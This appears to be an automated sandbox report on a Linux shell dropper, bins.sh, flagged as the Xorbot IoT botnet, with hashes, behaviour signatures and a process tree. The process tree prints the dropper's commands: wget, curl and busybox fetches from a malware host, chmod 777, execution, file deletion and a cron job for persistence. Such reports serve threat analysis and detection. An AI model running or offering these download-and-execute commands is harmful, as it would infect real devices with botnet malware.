Analysis

  • max time kernel
    149s
  • max time network
    161s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/02/2025, 07:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    4cfb0882602e49bb3bb56c54e08029a6

  • SHA1

    d60467677204a5e3045c01dca1ff688264ab69b9

  • SHA256

    199cd72604764bd453856e029830cce18d0f746a1caae617cbafebda9d785617

  • SHA512

    d9a9c852ca4823533dab2b557a096e4055d3665ce8f562b2d0612029ecba77d391811af06e53e55e4fb483589d1009ab948faf0590252578a3f9a143d5c14aef

  • SSDEEP

    192:0BBSrBsKwWxWlWYW/W3WB9GurAMMsG253Xy5bz2R95PvExdDPvExdrV3X0bz2R9L:0BBSrBsKwWxWlWYW/W3WB6sG285bz2RF

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1735) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 13 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:646
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:648
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:650
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:669
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:679
      • /bin/chmod
        chmod 777 rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • File and Directory Permissions Modification
        PID:680
      • /tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        ./rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
          PID:681
        • /bin/rm
          rm rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
          2⤵
            PID:683
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:684
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • Checks CPU configuration
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:700
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • System Network Configuration Discovery
            PID:710
          • /bin/chmod
            chmod 777 bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • File and Directory Permissions Modification
            PID:733
          • /tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            ./bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
              PID:734
            • /bin/rm
              rm bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
              2⤵
                PID:736
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:737
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:742
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                • System Network Configuration Discovery
                PID:752
              • /bin/chmod
                chmod 777 zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                • File and Directory Permissions Modification
                PID:771
              • /tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                ./zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                  PID:772
                • /bin/rm
                  rm zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                  2⤵
                    PID:774
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:775
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:776
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • System Network Configuration Discovery
                    PID:778
                  • /bin/chmod
                    chmod 777 6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • File and Directory Permissions Modification
                    PID:781
                  • /tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    ./6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:782
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:784
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:785
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:786
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:787
                        • /bin/rm
                          rm 6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                          2⤵
                            PID:789
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H
                            2⤵
                            • System Network Configuration Discovery
                            PID:792

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /var/spool/cron/crontabs/tmp.F48unm

                          Filesize

                          210B

                          MD5

                          56826eaf19922aacd4557f4f049e6966

                          SHA1

                          f0ba92e23adf3e24d5292c738b785b7172061bac

                          SHA256

                          aa8c87722287adc2a56b499ae4ae7389a867eabe4184b9f5283e3d7aeca48e97

                          SHA512

                          f46e9d125921136d8bb454dc33c215052ec4ba3ca903f36ee8669b6908e8242c3a56495469f3836fa07eac2cc2c9cc337c55f5e1e734ebbb055acee0c6bb9797